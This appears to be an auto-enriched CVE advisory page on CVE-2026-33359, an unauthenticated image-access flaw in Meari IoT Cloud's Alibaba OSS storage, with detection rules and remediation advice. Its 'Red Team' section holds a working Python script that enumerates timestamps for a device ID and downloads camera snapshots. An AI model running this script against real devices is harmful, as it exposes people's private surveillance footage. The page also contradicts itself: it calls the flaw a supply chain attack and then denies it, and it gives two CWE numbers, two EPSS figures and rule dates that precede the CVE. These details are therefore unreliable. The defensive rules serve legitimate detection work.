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CVSS: 7.5 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-33359

CVE-2026-33359 Supply Chain Attack in Meari
📅 PUBLISHED: 2026-05-11 17:16 UTC 🔄 UPDATED: 2026-09-23 20:20 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.29%
👁️
0.29% probability
7.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1548
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-33359 exposes a critical authorization bypass in Meari IoT Cloud’s alert image storage on Alibaba OSS. Motion snapshots are stored with predictable URLs that function as direct object references (CWE-639). No authentication, signed URLs, or expiry enforcement is required to retrieve these images. This allows any unauthenticated attacker to enumerate and access sensitive surveillance footage, violating user privacy and potentially enabling physical reconnaissance.

The vulnerability is currently unpatched, and no vendor response has been observed. The EPSS score is 0.0%, likely due to low exploit activity or incomplete reporting, but the technical simplicity of the attack makes it a high-priority risk for Meari IoT deployments.

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Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary IoT cloud service and its storage backend (Alibaba OSS). No supply chain package is involved.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Base Score: 7.5 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: None (I:N)
  • Availability Impact: None (A:N)

Threat Level: High. The vulnerability allows unauthenticated access to sensitive surveillance images, which can be exploited remotely without any user interaction. The lack of authentication and expiry enforcement makes it trivial to exploit.

Deep Dive & Mechanics

The vulnerability resides in the Meari IoT Cloud’s alert image storage mechanism. When a motion event is detected, the camera uploads a snapshot to an Alibaba OSS bucket. The URL for each snapshot is generated using a predictable pattern (e.g., https://[bucket].oss-[region].aliyuncs.com/[device_id]/[timestamp].jpg). These URLs are direct object references (CWE-639) and are not protected by any authentication, signed URL, or expiry mechanism.

Key Mechanics:

  1. Direct Object Reference: The URL directly references the object in the OSS bucket without any access control.
  2. No Authentication: The OSS bucket is configured to allow public read access, or the URLs are generated without any authentication token.
  3. No Expiry: The URLs remain valid indefinitely, allowing historical footage to be accessed long after the event.
  4. Predictable Pattern: The URL pattern can be inferred or enumerated by an attacker who knows a device ID or can guess timestamps.

Attack Scenario:

  1. An attacker identifies a Meari IoT device (e.g., via Shodan or by observing network traffic).
  2. The attacker obtains a device ID (e.g., from a leaked configuration or by brute-forcing).
  3. The attacker constructs URLs using the pattern and iterates over timestamps to retrieve motion snapshots.
  4. The attacker gains unauthorized access to sensitive surveillance footage.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable implementation relies on direct object references without authentication. A patched version would require:

  • Signed URLs: Use Alibaba OSS signed URLs with expiry.
  • Authentication: Require a valid session token or API key to access images.
  • Access Control: Implement bucket policies that restrict access to authenticated users only.

Vulnerable Code (Conceptual):

# Vulnerable: Direct URL generation without authentication
def generate_alert_url(device_id, timestamp):
    return f"https://meari-alerts.oss-cn-shanghai.aliyuncs.com/{device_id}/{timestamp}.jpg"

Patched Code (Conceptual):

# Patched: Use signed URLs with expiry
import oss2
def generate_alert_url(device_id, timestamp):
    auth = oss2.Auth('access_key_id', 'access_key_secret')
    bucket = oss2.Bucket(auth, 'https://oss-cn-shanghai.aliyuncs.com', 'meari-alerts')
    object_name = f"{device_id}/{timestamp}.jpg"
    url = bucket.sign_url('GET', object_name, 3600)  # 1 hour expiry
    return url

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A Meari IoT device or a known device ID.
  • Python 3.x with requests library.

Exploit Script:

import requests
import time

# Example URL pattern (adjust based on actual bucket/region)
base_url = "https://meari-alerts.oss-cn-shanghai.aliyuncs.com"
device_id = "DEVICE12345"

# Brute-force timestamps (example: last 24 hours)
current_time = int(time.time())
for offset in range(0, 86400, 60):  # every minute
    timestamp = current_time - offset
    url = f"{base_url}/{device_id}/{timestamp}.jpg"
    response = requests.get(url)
    if response.status_code == 200:
        print(f"Found image: {url}")
        with open(f"snapshot_{timestamp}.jpg", "wb") as f:
            f.write(response.content)

Usage:

  1. Replace device_id with a target device ID.
  2. Run the script to enumerate and download motion snapshots.
  3. Analyze images for sensitive information.

Blue Team

Detection:

  • Monitor for anomalous requests to OSS buckets with predictable patterns.
  • Look for high volumes of GET requests to *.oss-*.aliyuncs.com with sequential timestamps.
  • Alert on requests to Meari-related OSS buckets from IPs not associated with known devices.

Honeypot:

  • Deploy a fake Meari OSS bucket with decoy images.
  • Log all access attempts and IP addresses.

Mitigation:

  • Immediately restrict OSS bucket access to authenticated users only.
  • Implement signed URLs with short expiry (e.g., 5 minutes).
  • Rotate device IDs and enforce authentication for all API calls.

Indicators of Compromise (IOCs)

  • URL Pattern: https://[bucket].oss-[region].aliyuncs.com/[device_id]/[timestamp].jpg
  • Example URL: https://meari-alerts.oss-cn-shanghai.aliyuncs.com/DEVICE12345/1700000000.jpg
  • Network Traffic: HTTP GET requests to Alibaba OSS endpoints with .jpg extensions and numeric timestamps.
  • User-Agent: Any standard HTTP client (e.g., Python requests, curl).
  • Source IPs: Any IP not associated with the Meari device’s known network.

Detection Engineering

YARA Rule

rule Meari_OSS_Direct_Object_Reference {
    meta:
        description = "Detects Meari IoT Cloud alert image URLs with direct object references"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-33359"
    strings:
        $url_pattern = /https:\/\/[a-z0-9-]+\.oss-[a-z0-9-]+\.aliyuncs\.com\/[A-Za-z0-9]+\/\d+\.jpg/
    condition:
        $url_pattern
}

Sigma Rule

title: Meari IoT Cloud Unauthenticated OSS Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to Meari IoT Cloud alert images on Alibaba OSS
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: generic
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|contains: '.oss-'
        cs-uri-stem|contains: '.aliyuncs.com'
        cs-uri-stem|contains: '.jpg'
        cs-uri-stem|re: '\/[A-Za-z0-9]+\/\d+\.jpg'
    condition: selection
falsepositives:
    - Legitimate Meari device access (if authenticated)
level: high

Suricata Rule

alert http any any -> any any (msg:"Meari IoT Cloud Unauthenticated OSS Access"; flow:to_server; content:"GET"; http_method; content:".oss-"; http_uri; content:".aliyuncs.com"; http_uri; content:".jpg"; http_uri; pcre:"/\/[A-Za-z0-9]+\/\d+\.jpg/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Restrict OSS Bucket Access: Change bucket policy to deny public read access. Use bucket ACLs or IAM policies to allow only authenticated requests.
  2. Implement Signed URLs: Generate signed URLs with short expiry (e.g., 1 hour) for all alert image access.
  3. Rotate Device IDs: If possible, regenerate device IDs and update firmware to use new IDs.
  4. Monitor Logs: Review OSS access logs for unauthorized requests.

Long-Term Fixes:

  • Firmware Update: Meari must release a firmware update that uses signed URLs and authentication.
  • API Gateway: Introduce an API gateway that validates tokens before serving images.
  • User Notification: Inform users of the vulnerability and recommend disabling cloud storage until patched.

Workaround:

  • Disable cloud alert image storage in the Meari app settings.
  • Use local storage (SD card) instead of cloud uploads.

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-33359/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
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